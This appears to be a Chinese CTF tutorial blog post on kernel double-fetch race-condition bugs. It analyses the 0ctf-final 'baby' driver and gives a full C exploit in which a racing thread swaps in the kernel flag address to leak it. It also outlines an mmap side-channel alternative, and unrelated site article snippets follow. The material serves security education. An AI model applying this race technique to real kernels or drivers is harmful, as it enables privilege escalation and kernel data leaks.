Kernel Pwn基础教程之 Double Fetch

news2024/11/28 6:53:21

一、前言

Double Fetch是一种条件竞争类型的漏洞,其主要形成的原因是由于用户态与内核态之间的数据在进行交互时存在时间差,我们在先前的学习中有了解到内核在从用户态中获取数据时会使用函数copy_from_user,而如果要拷贝的数据过于复杂的话则内核会选择引用其指针而将数据暂存于用户态中等待后续处理,而在这时数据会存在被条件竞争修改原有数据的风险,也就是笔者要分享的Double Fetch的由来。

二、Double Fetch介绍

如下图所示,用户态首先准备好用户态数据(prepare data),然后执行syscall进入内核态后,会对用户态数据进行第一次fetch,这一次fetch主要是做一些检测工作(如缓冲区大小、指针是否可用等),在检查通过后会执行第二次fetch对数据进行实际操作。而在这期间是存在一定的时间差,如果我们在用户态数据通过第一次check以后创建一个恶意进程利用二次fetch之间的时间差修改掉原先用户态的数据,那么在内核执行第二次fetch时处理的就并非原先通过检测的数据,而是我们精心准备的恶意数据,而此类漏洞往往会引起访问越界,缓冲区溢出最终造成恶意提权的情况。

三、Double Fetch例题

1、题目分析

本次选择的例题是0ctf-final-baby,用IDA打开baby.ko进行逆向分析。驱动主要注册了baby_ioctl函数,当第二个参数为0x6666时会使用printk函数输出flag值在,可以通过dmesg命令查看printk函数的输出结果。

不难看出flag是硬编码在驱动文件中,可以看到flag的长度为33位。

.data:0000000000000480 flagdq offset aFlagThisWillBe.data:0000000000000480 ; DATA XREF: sub_25+25↑r.data:0000000000000480 ; sub_25+D6↑r ....data:0000000000000480 ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}" 

当第二个参数为0x1337时通过三次检测则会对传入的内容与flag进行比较,如果相同就通过printk函数输出flag值。其中在三次检测中使用到_chk_range_not_ok函数,前两个参数不难理解,但是第三个参数在这里比较难理解。

bool __fastcall _chk_range_not_ok(__int64 contect, __int64 len, unsigned __int64 unknow){bool my_cf; // cfunsigned __int64 sum; // rdi​my_cf = __CFADD__(len, contect);sum = len + contect;return my_cf || unknow < sum;} 

我们通过动态调试的方式定位在_chk_range_not_ok函数处,发现current_task+0x1358的结果就是0x7ffffffffffff000,也就是说这三次check的意思分别是:

1、判断结构体的指针是否在用户态2、判断结构体中flag地址指针是否在用户态3、判断结构体中flag长度是否与内核flag长度相同 

通过这三个检测之后就会比对传入结构体中flag值与内核的flag值是否相同,全部正确就会通过printk输出内核中的flag值。

for ( i = 0; i < strlen(flag); ++i ){if ( contect->addr[i] != flag[i] )return 0x16LL;}printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);return 0LL; 

2、漏洞利用

通过分析题目其实没有十分明显的漏洞点,但是如果我们以条件竞争的思路来看待这道题就会发现隐藏的漏洞点。如果我们首先在用户态创建一个可以通过三次检测的结构体指针(User_Data),那么在这个数据在真正被处理之前是存在一定的时间差的,并且因为数据是保存在用户态中,所以当我们开启一个恶意进程不断修改用户态中flag地址为内核态的地址,那么在实际处理数据时取出的就是内核地址,最终判断的时候就是内核地址与内核地址的比较,最终输出flag值并用dmesg命令查看输出结果。

3、EXP

#include <string.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <pthread.h>#include <fcntl.h>#include <sys/stat.h>#include <sys/types.h>#include <sys/ioctl.h>​int finish = 1;​struct message {char *addr;int len;}data;​size_t flag_address = 0;​void read_flag_address() {system("dmesg | grep flag > message.txt");int fd = open("message.txt", O_RDWR);char buf[0x60] = {0};​read(fd, buf, sizeof(buf));size_t idx = strstr(buf, "at ") + 3;sscanf(idx, "%llx", &flag_address);printf("[+] FIND FLAG ADDRESS: 0x%llx\n", flag_address);close(fd);}​void evil_thread() {while (finish == 1) {data.addr = flag_address;}}​void main() {pthread_t pthread;int fd = open("/dev/baby", O_RDWR);char buf[0x100] = {0};ioctl(fd, 0x6666);read_flag_address();​pthread_create(&pthread, NULL, evil_thread, NULL);​data.addr = buf;data.len = 33;​for (int i = 0; i < 0x1000; i++) {ioctl(fd, 0x1337, &data);data.addr = buf;}finish = 0;pthread_join(pthread, NULL);system("dmesg | grep flag");close(fd);} 

使用如下命令编译elf文件,重新打包文件系统后执行start.sh,最终效果如下。

gcc-pthread -g -static -masm=intel -o exp exp.c 

四、总结

Double Fetch 最为主要的就是培养以线程间条件竞争的角度来看待程序,从而发现一些比较隐蔽的漏洞。关于本次介绍的例题还有一种非预期的解法,可以通过在用户态使用mmap的方式开辟两块内存地址,第一块设置读写权限,第二块设置不可读写权限,我们将需要比较的字节放在第一块内存的最后一个字节中,当我们的判断正确时就会继续往下取值,这时就会从第二块即不可读写的内存中取值,就会造成kernel panic,这时我们就可以判断字符判断成功。感兴趣的师傅们可以自己尝试实现一下。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/153183.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

人工智能-正则表达式

目录1、正则表达式概述2、re模块3、匹配单个字符4、匹配多个字符5、匹配开头和结尾6、匹配分组7、总结1、正则表达式概述 在实际开发过程中经常会需要查找某些复杂字符串的格式 正则表达式&#xff1a;记录文本规则的代码 正则表达式特点&#xff1a; 语法令人头疼&#xff…

立创eda专业版学习笔记(4)(隐藏铺铜)

这里的隐藏有两个意思&#xff0c;一个是铺铜过后把铺铜的填充区域隐藏&#xff0c;方便看图&#xff0c;另外一个是隐藏铺铜的轮廓&#xff0c;方便后续改进。 第一种隐藏&#xff0c;隐藏铺铜的填充区域&#xff08;成片的图块&#xff09;&#xff0c;但是保留轮廓线 这是全…

联想LJ2655DN激光打印机清零方法

联想LJ2655DN激光打印机是市面上常见的打印机,为了节约成本,我们一般使用都是代用硒鼓来代替原装硒鼓,但是发现更换完硒鼓以后还是不能打印甚至有的机器能够打印但是打印速度会变慢或很慢,这个时候这就需要我们对打印机进行清零复位操作了,此款机器因用户更换的硒鼓类型不…

C++ 模板进阶

目录 1. 非类型模板参数 2. 模板的特化 2.1 概念 2.2 函数模板特化 2.3 类模板特化 2.3.1 全特化 2.3.2 偏特化 2.3.3 类模板特化应用示例 3. 模板总结 1. 非类型模板参数 我们在C语言中使用数组的时候可以定义静态数组&#xff0c;但是有个缺陷就是编译器在对越界检查…

Java自定义泛型类注意点

目录 自定义泛型类 如果定义了泛型类&#xff0c;实例化没有指明类的泛型&#xff0c;则认为此泛型类型为Object类型 由于子类在继承带泛型的父类时&#xff0c;指明了泛型类型。则实例化子类对象时&#xff0c;不需要指明类型 由于子类在继承带泛型的父类时&#xff0c;没有…

WebDAV之葫芦儿·派盘 + Photosync

PhotoSync 支持WebDAV方式连接葫芦儿派盘。 苹果手机通过无线传输,备份和共享照片/视频到计算机,其他手机,NAS和流行的云和照片服务的最佳解决办法,快来试下PhotoSync同步工具吧。 PhotoSync面向移动设备

安装部署wordpress(Ubuntu)

wordpress是一个目前流行的基于web的内容管理系统软件。它是基于PHP语言和MySQL数据库开发的&#xff0c;用户可以在支持 PHP 和 MySQL数据库的服务器上快速轻松的部署自己的网站&#xff08;博客&#xff0c;外贸网站等等&#xff09;。WordPress有非常多的第三方开发的免费模…

产线工控安全之现状分析及方案应对

产线安全现状 工业控制系统是支撑国民经济的重要设施&#xff0c;是工业领域的神经中枢。现在工业控制系统已经广泛应用于电力、通信、化工、交通、航天等工业领域&#xff0c;支撑起国计民生的关键基础设施。 随着传统的工业转型&#xff0c;数字化、网络化和智能化的工业控…

数学建模---数值微积分

目录 一.引言 二.数值微分 1.数值差分与差商 利用matlab观察差分与差商的区别&#xff1a; 例题&#xff1a; 二.数值积分 1.数值积分基本定理 2.常见的数值积分公式&#xff1a; 积分公式的精度&#xff1a; 3.数值积分的matlab实现 一.引言 在科学研究和工程计算中&…

LINUX提权之环境变量提权篇

前言 上一篇文章给大家介绍了linux中的内核提权的一些知识点不知道大家学的怎么样了&#xff0c;今天给大家带来一个全新的提权方法——“环境变量提权”,本文会介绍关于环境变量提权的基本知识以及利用方法。 环境变量提权 PATH是Linux系统中的环境变量&#xff0c;指定存储…

全球月活用户4年破10亿,TikTok的3大底层逻辑

武汉瑞卡迪电子商务有限公司&#xff1a;在即将过去的2022年&#xff0c;TikTok成为了众多出海品牌想要赢得新生意的重要平台。品牌应该如何看待TikTok&#xff1f;如何利用节点营销抓住机会&#xff1f;那些已经在TikTok上成功的品牌背后&#xff0c;是否有一些定式&#xff0…

centos7安装ansible

在ansible中主控机器必须是linux机器&#xff0c;不可以是windows&#xff0c;但是被控机器可以是windows。 control machine&#xff1a;192.168.184.128 target machine&#xff1a;192.168.184.129(被管理机器上不需要安装什么软件) 1.ansible的安装前提是要有python&…

vue的基础指令演示代码及简单案例

目录 一、内容绑定&#xff0c;事件绑定 v-text v-html v-on 案例&#xff1a;计数器 二、显示切换&#xff0c;属性绑定 v-show v-if v-bind 案例&#xff1a;图片切换 三、列表循环&#xff0c;表单元素绑定 v-for v-on补充 v-model 通过Vue实现常见的网页效果…

QSFP-DD封装小知识,你了解吗?

随着数据中心和高级网络应用中数据流量的上升&#xff0c;光模块市场向更高的速度&#xff0c;更低的功耗和更小的外形或尺寸发展。QSFP-DD封装有什么特征和优势&#xff1f;它与QSFP28/QSFP56模块有什么区别的&#xff1f;本期文章&#xff0c;我们一起了解一下QSFP-DD封装相关…

【Linux篇】之网络文件系统(nfs)配置

nfs : Network File System 网络文件系统 作用&#xff1a;linux内核启动之后&#xff0c;通过网络的方式从ubuntu服务器中挂载根文件系统&#xff0c; 而不需要将根文件系统部署到开发板。 1> 安装nfs服务器端 sudo apt-get install nfs-kernel-server2> 修改nfs服务的…

解读手机拍照的各个参数(AI水印)

AI水印就是在照片里面自动添加一些文字或者符号&#xff0c;里面有一些固定的水印&#xff0c;目前还不了解能不能识别一些不是固定地方的景色。(目前给出来的是黄山、张家界景点&#xff0c;不晓得华山这种能不能自动添加上水印)。

Go 1.19.3 channel原理简析

channel channel和goroutine是Go语言的核心命脉。这篇文章来简单介绍一下Go chan的原理&#xff0c;源码并不好读&#xff0c;应结合gmp调度模型来理解&#xff0c;后续补充吧。 由上图可见&#xff0c;chan的底层结构是一个hchan结构体&#xff0c;其中buf字段指向了一个环形…

网狐大联盟服务端源码分析-服务核心

源码目录结构,如下图,服务工程 cpp文件列表及含义: WHBase64.cpp : base6编码类 WHCommandLine.cpp : 命令行参数操作类 WHDataLocker.cpp : 数据锁类,线程操作数据时用 WHDataQueue.cpp : 数据队列类,异步操作数据用 WHEncrypt.cpp : 加密类 WHIniData.cpp : ini文件操作类 WH…

VGG的成功之处在哪

VGG 网络可以分为两部分&#xff1a;第⼀部分主要由卷积层和汇聚层组成&#xff0c;第⼆部分由全连接层组成VGG与AlexNet相比&#xff0c;VGG采用小的卷积核和池化层&#xff0c;层数更深&#xff0c;通道数更多&#xff0c;其中每个通道代表着一个FeatureMap&#xff0c;更多的…

Tomcat组件生命周期管理:LifeCycle

我们已经知道Catalina初始化了Server(它调用了 Server 类的 init 和 start 方法来启动 Tomcat);你会发现Server是Tomcat的配置文件server.xml的顶层元素,那这个阶段其实我们已经进入到Tomcat内部组件的详解;这时候有一个问题,这么多组件是如何管理它的生命周期的呢? 引…